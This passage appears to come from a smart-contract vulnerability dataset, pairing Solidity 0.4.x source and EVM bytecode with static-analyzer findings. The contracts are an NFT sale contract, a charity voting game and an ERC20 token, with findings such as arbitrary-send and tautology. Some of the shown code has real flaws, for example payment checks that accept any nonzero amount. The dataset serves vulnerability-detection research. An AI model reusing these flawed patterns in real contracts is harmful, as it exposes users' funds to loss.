673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561097c57600080fd5b61098581611177565b50565b600a8181548110151561099757fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a4757600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610ac5573d6000803e3d6000fd5b50565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b2957600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60065481565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bf957600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60055481565b600b60009054906101000a900460ff1681565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb757600080fd5b80600b60006101000a81548160ff02191690831515021790555050565b600b60019054906101000a900460ff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d6857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610da457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60095481565b6000601954905090565b6000806000841415610e875760009150610ea6565b8284029050828482811515610e9857fe5b04141515610ea257fe5b8091505b5092915050565b6000808284811515610ebb57fe5b0490508091505092915050565b6000828211151515610ed657fe5b818303905092915050565b6000808284019050838110151515610ef557fe5b8091505092915050565b6000670de0b6b3a76400008302905082600760008282540192505081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631e02f80585846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610fe357600080fd5b505af1158015610ff7573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156110c057600080fd5b505af11580156110d4573d6000803e3d6000fd5b505050506040513d60208110156110ea57600080fd5b8101908080519060200190929190505050151561110657600080fd5b7f8a7eaad672c52c2966090bc8f26a335bf67d8d1d442189f2f7e430c26aab99ec8482604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150505050565b6000662386f26fc10000905060008211151561119257600080fd5b816009819055506111ac8282610ead90919063ffffffff16565b60198190555050505600a165627a7a7230582057e75667d81886b4550ef7d996fb99a1ef84fd0085ee53452d4ecdf03c0afe960029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,138 |
0x1558b9afb91a2185495debc22a9cce11dabe33c5
|
pragma solidity ^0.4.18;
contract TittyBase {
event Transfer(address indexed from, address indexed to);
event Creation(address indexed from, uint256 tittyId, uint256 wpId);
event AddAccessory(uint256 tittyId, uint256 accessoryId);
struct Accessory {
uint256 id;
string name;
uint256 price;
bool isActive;
}
struct Titty {
uint256 id;
string name;
string gender;
uint256 originalPrice;
uint256 salePrice;
uint256[] accessories;
bool forSale;
}
//Storage
Titty[] Titties;
Accessory[] Accessories;
mapping (uint256 => address) public tittyIndexToOwner;
mapping (address => uint256) public ownerTittiesCount;
mapping (uint256 => address) public tittyApproveIndex;
function _transfer(address _from, address _to, uint256 _tittyId) internal {
ownerTittiesCount[_to]++;
tittyIndexToOwner[_tittyId] = _to;
if (_from != address(0)) {
ownerTittiesCount[_from]--;
delete tittyApproveIndex[_tittyId];
}
Transfer(_from, _to);
}
function _changeTittyPrice (uint256 _newPrice, uint256 _tittyId) internal {
require(tittyIndexToOwner[_tittyId] == msg.sender);
Titty storage _titty = Titties[_tittyId];
_titty.salePrice = _newPrice;
Titties[_tittyId] = _titty;
}
function _setTittyForSale (bool _forSale, uint256 _tittyId) internal {
require(tittyIndexToOwner[_tittyId] == msg.sender);
Titty storage _titty = Titties[_tittyId];
_titty.forSale = _forSale;
Titties[_tittyId] = _titty;
}
function _changeName (string _name, uint256 _tittyId) internal {
require(tittyIndexToOwner[_tittyId] == msg.sender);
Titty storage _titty = Titties[_tittyId];
_titty.name = _name;
Titties[_tittyId] = _titty;
}
function addAccessory (uint256 _id, string _name, uint256 _price, uint256 tittyId ) internal returns (uint) {
Accessory memory _accessory = Accessory({
id: _id,
name: _name,
price: _price,
isActive: true
});
Titty storage titty = Titties[tittyId];
uint256 newAccessoryId = Accessories.push(_accessory) - 1;
titty.accessories.push(newAccessoryId);
AddAccessory(tittyId, newAccessoryId);
return newAccessoryId;
}
function totalAccessories(uint256 _tittyId) public view returns (uint256) {
Titty storage titty = Titties[_tittyId];
return titty.accessories.length;
}
function getAccessory(uint256 _tittyId, uint256 _aId) public view returns (uint256 id, string name, uint256 price, bool active) {
Titty storage titty = Titties[_tittyId];
uint256 accId = titty.accessories[_aId];
Accessory storage accessory = Accessories[accId];
id = accessory.id;
name = accessory.name;
price = accessory.price;
active = accessory.isActive;
}
function createTitty (uint256 _id, string _gender, uint256 _price, address _owner, string _name) internal returns (uint) {
Titty memory _titty = Titty({
id: _id,
name: _name,
gender: _gender,
originalPrice: _price,
salePrice: _price,
accessories: new uint256[](0),
forSale: false
});
uint256 newTittyId = Titties.push(_titty) - 1;
Creation(
_owner,
newTittyId,
_id
);
_transfer(0, _owner, newTittyId);
return newTittyId;
}
}
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="8de9e8f9e8cdecf5e4e2e0f7e8e3a3eee2">[email protected]</a>> (https://github.com/dete)
contract ERC721 {
function implementsERC721() public pure returns (bool);
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function approve(address _to, uint256 _tokenId) public;
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 tokenId);
// function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl);
}
contract TittyOwnership is TittyBase, ERC721 {
string public name = "CryptoTittes";
string public symbol = "CT";
function implementsERC721() public pure returns (bool) {
return true;
}
function _isOwner(address _user, uint256 _tittyId) internal view returns (bool) {
return tittyIndexToOwner[_tittyId] == _user;
}
function _approve(uint256 _tittyId, address _approved) internal {
tittyApproveIndex[_tittyId] = _approved;
}
function _approveFor(address _user, uint256 _tittyId) internal view returns (bool) {
return tittyApproveIndex[_tittyId] == _user;
}
function totalSupply() public view returns (uint256 total) {
return Titties.length - 1;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownerTittiesCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address owner) {
owner = tittyIndexToOwner[_tokenId];
require(owner != address(0));
}
function approve(address _to, uint256 _tokenId) public {
require(_isOwner(msg.sender, _tokenId));
_approve(_tokenId, _to);
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public {
require(_approveFor(msg.sender, _tokenId));
require(_isOwner(_from, _tokenId));
_transfer(_from, _to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) public {
require(_to != address(0));
require(_isOwner(msg.sender, _tokenId));
_transfer(msg.sender, _to, _tokenId);
}
}
contract TittyPurchase is TittyOwnership {
address private wallet;
address private boat;
function TittyPurchase(address _wallet, address _boat) public {
wallet = _wallet;
boat = _boat;
createTitty(0, "unissex", 1000000000, address(0), "genesis");
}
function purchaseNew(uint256 _id, string _name, string _gender, uint256 _price) public payable {
if (msg.value == 0 && msg.value != _price)
revert();
uint256 boatFee = calculateBoatFee(msg.value);
createTitty(_id, _gender, _price, msg.sender, _name);
wallet.transfer(msg.value - boatFee);
boat.transfer(boatFee);
}
function purchaseExistent(uint256 _tittyId) public payable {
Titty storage titty = Titties[_tittyId];
uint256 fee = calculateFee(titty.salePrice);
if (msg.value == 0 && msg.value != titty.salePrice)
revert();
uint256 val = msg.value - fee;
address owner = tittyIndexToOwner[_tittyId];
_approve(_tittyId, msg.sender);
transferFrom(owner, msg.sender, _tittyId);
owner.transfer(val);
wallet.transfer(fee);
}
function purchaseAccessory(uint256 _tittyId, uint256 _accId, string _name, uint256 _price) public payable {
if (msg.value == 0 && msg.value != _price)
revert();
wallet.transfer(msg.value);
addAccessory(_accId, _name, _price, _tittyId);
}
function getAmountOfTitties() public view returns(uint) {
return Titties.length;
}
function getLatestId() public view returns (uint) {
return Titties.length - 1;
}
function getTittyByWpId(address _owner, uint256 _wpId) public view returns (bool own, uint256 tittyId) {
for (uint256 i = 1; i<=totalSupply(); i++) {
Titty storage titty = Titties[i];
bool isOwner = _isOwner(_owner, i);
if (titty.id == _wpId && isOwner) {
return (true, i);
}
}
return (false, 0);
}
function belongsTo(address _account, uint256 _tittyId) public view returns (bool) {
return _isOwner(_account, _tittyId);
}
function changePrice(uint256 _price, uint256 _tittyId) public {
_changeTittyPrice(_price, _tittyId);
}
function changeName(string _name, uint256 _tittyId) public {
_changeName(_name, _tittyId);
}
function makeItSellable(uint256 _tittyId) public {
_setTittyForSale(true, _tittyId);
}
function calculateFee (uint256 _price) internal pure returns(uint) {
return (_price * 10)/100;
}
function calculateBoatFee (uint256 _price) internal pure returns(uint) {
return (_price * 25)/100;
}
function() external {}
function getATitty(uint256 _tittyId)
public
view
returns (
uint256 id,
string name,
string gender,
uint256 originalPrice,
uint256 salePrice,
bool forSale
) {
Titty storage titty = Titties[_tittyId];
id = titty.id;
name = titty.name;
gender = titty.gender;
originalPrice = titty.originalPrice;
salePrice = titty.salePrice;
forSale = titty.forSale;
}
}
contract CTBoatGame {
address private wallet;
address private contractOwner;
uint endDate;
uint256 votePrice = 3 finney;
TittyPurchase public tittyContract;
struct Vote {
uint256 totalRaised;
uint256 votes;
}
Vote[] votes;
mapping (uint256 => uint256) public tittyVotes;
event Voted(uint voteId, uint titty);
function CTBoatGame(address _wallet, address _tittyPurchaseAddress, uint _endDate) public {
wallet = _wallet;
contractOwner = msg.sender;
endDate = _endDate;
tittyContract = TittyPurchase(_tittyPurchaseAddress);
}
function doVote (uint256 _tittyId, uint256 _amount) public payable {
require (now < endDate);
uint256 total = calculatePrice(_amount);
if (msg.value < 0 || msg.value != total)
revert();
uint256 voteId = tittyVotes[_tittyId];
if (voteId == 0) {
voteId = _createVote(_tittyId, _amount, total);
tittyVotes[_tittyId] = voteId;
} else {
Vote storage vote = votes[voteId];
_addVote(vote, voteId, _amount, total);
}
Voted(voteId, _tittyId);
address ownerAddress = tittyContract.ownerOf(_tittyId);
uint256 charityFee = calculateCharityFee(msg.value);
uint256 ownerFee = calculateOwnerFee(msg.value);
ownerAddress.transfer(ownerFee);
wallet.transfer(msg.value - (charityFee + ownerFee));
}
function transferToCharity(address _charity) public {
require(msg.sender == contractOwner);
_charity.transfer(this.balance);
}
function calculatePrice(uint256 _amount) internal view returns (uint) {
return votePrice * _amount;
}
function getOwner(uint256 id) public view returns (address owner) {
owner = tittyContract.ownerOf(id);
}
function _createVote (uint256 _tittyId, uint256 _amount, uint256 _value) internal returns (uint) {
Vote memory newVote = Vote({
totalRaised: _value,
votes: _amount
});
uint256 voteId = votes.push(newVote) - 1;
tittyVotes[_tittyId] = voteId;
return voteId;
}
function _addVote (Vote vote, uint256 voteId, uint256 _amount, uint256 _value) internal {
vote.totalRaised = vote.totalRaised + _value;
vote.votes = vote.votes + _amount;
votes[voteId] = vote;
}
function getNumberOfVotes (uint256 _tittyId) public view returns (uint256, uint256) {
uint256 voteId = tittyVotes[_tittyId];
Vote storage vote = votes[voteId];
return (vote.votes, vote.totalRaised);
}
function calculateCharityFee (uint256 _price) internal pure returns(uint) {
return (_price * 70)/100;
}
function calculateOwnerFee (uint256 _price) internal pure returns(uint) {
return (_price * 25)/100;
}
function() external {}
}
|
0x606060405260043610610078576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063234e52731461008557806363e9c30f146100da5780636ece7d8814610111578063c41a360a14610132578063c71f425314610195578063fb101581146101d3575b341561008357600080fd5b005b341561009057600080fd5b61009861020c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156100e557600080fd5b6100fb6004808035906020019091905050610232565b6040518082815260200191505060405180910390f35b610130600480803590602001909190803590602001909190505061024a565b005b341561013d57600080fd5b61015360048080359060200190919050506104c8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101a057600080fd5b6101b66004808035906020019091905050610578565b604051808381526020018281526020019250505060405180910390f35b34156101de57600080fd5b61020a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506105c8565b005b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60066020528060005260406000206000915090505481565b6000806000806000806002544210151561026357600080fd5b61026c8761067e565b9550600034108061027d5750853414155b1561028757600080fd5b6006600089815260200190815260200160002054945060008514156102d0576102b188888861068c565b945084600660008a81526020019081526020016000208190555061031b565b6005858154811015156102df57fe5b9060005260206000209060020201935061031a8460408051908101604052908160008201548152602001600182015481525050868989610718565b5b7f84a5508ca0d85b42a876e75a9126f3ae7b43617ce60b170bf8805d34630bc6548589604051808381526020018281526020019250505060405180910390a1600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e896040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15156103ea57600080fd5b5af115156103f757600080fd5b50505060405180519050925061040c34610773565b91506104173461078c565b90508273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561045957600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc82840134039081150290604051600060405180830381858888f1935050505015156104be57600080fd5b5050505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e836040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561055a57600080fd5b5af1151561056757600080fd5b505050604051805190509050919050565b600080600080600660008681526020019081526020016000205491506005828154811015156105a357fe5b9060005260206000209060020201905080600101548160000154935093505050915091565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561062457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561067b57600080fd5b50565b600081600354029050919050565b60006106966107a5565b600060408051908101604052808581526020018681525091506001600580548060010182816106c591906107bf565b916000526020600020906002020160008590919091506000820151816000015560208201518160010155505003905080600660008881526020019081526020016000208190555080925050509392505050565b80846000015101846000018181525050818460200151018460200181815250508360058481548110151561074857fe5b9060005260206000209060020201600082015181600001556020820151816001015590505050505050565b600060646046830281151561078457fe5b049050919050565b600060646019830281151561079d57fe5b049050919050565b604080519081016040528060008152602001600081525090565b8154818355818115116107ec576002028160020283600052602060002091820191016107eb91906107f1565b5b505050565b61081d91905b80821115610819576000808201600090556001820160009055506002016107f7565b5090565b905600a165627a7a723058202fd7499f923d9b00e8ad6b330e067f768a178b14840425166157b110be1d005c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 4,139 |
0xc16a39f7f209f5eb3e3d3698f9b9c5ac8dbf40c5
|
pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization
control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the
sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than
minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns
(bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood:
https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns
(bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf
of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone
may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution
to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the
desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0 ) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the
spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool)
{
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns
(bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MICToken is StandardToken{
string public constant name = "MIC Token"; // solium-disable-line uppercase
string public constant symbol = "MIC"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 1900000000000000000000000000;
uint256 public constant MAX_SUPPLY = 100 * 10000 * 10000 * (10 **
uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() MICToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
/**
* The fallback function.
*/
function() payable public {
revert();
}
}
|
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ca578063095ea7b31461015a57806318160ddd146101bf57806323b872dd146101ea5780632ff2e9dc1461026f578063313ce5671461029a57806332cb6b0c146102cb57806366188463146102f657806370a082311461035b57806395d89b41146103b2578063a9059cbb14610442578063d73dd623146104a7578063dd62ed3e1461050c575b600080fd5b3480156100d657600080fd5b506100df610583565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011f578082015181840152602081019050610104565b50505050905090810190601f16801561014c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016657600080fd5b506101a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105bc565b604051808215151515815260200191505060405180910390f35b3480156101cb57600080fd5b506101d4610743565b6040518082815260200191505060405180910390f35b3480156101f657600080fd5b50610255600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061074d565b604051808215151515815260200191505060405180910390f35b34801561027b57600080fd5b50610284610b07565b6040518082815260200191505060405180910390f35b3480156102a657600080fd5b506102af610b17565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d757600080fd5b506102e0610b1c565b6040518082815260200191505060405180910390f35b34801561030257600080fd5b50610341600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2e565b604051808215151515815260200191505060405180910390f35b34801561036757600080fd5b5061039c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dbf565b6040518082815260200191505060405180910390f35b3480156103be57600080fd5b506103c7610e07565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104075780820151818401526020810190506103ec565b50505050905090810190601f1680156104345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561044e57600080fd5b5061048d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e40565b604051808215151515815260200191505060405180910390f35b3480156104b357600080fd5b506104f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061105f565b604051808215151515815260200191505060405180910390f35b34801561051857600080fd5b5061056d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061125b565b6040518082815260200191505060405180910390f35b6040805190810160405280600981526020017f4d494320546f6b656e000000000000000000000000000000000000000000000081525081565b60008082148061064857506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561065357600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561078a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107d757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561086257600080fd5b6108b3826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610946826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112fb90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a1782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6b0623a4a662d8f3a6ec00000081565b601281565b601260ff16600a0a6402540be4000281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c3f576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673f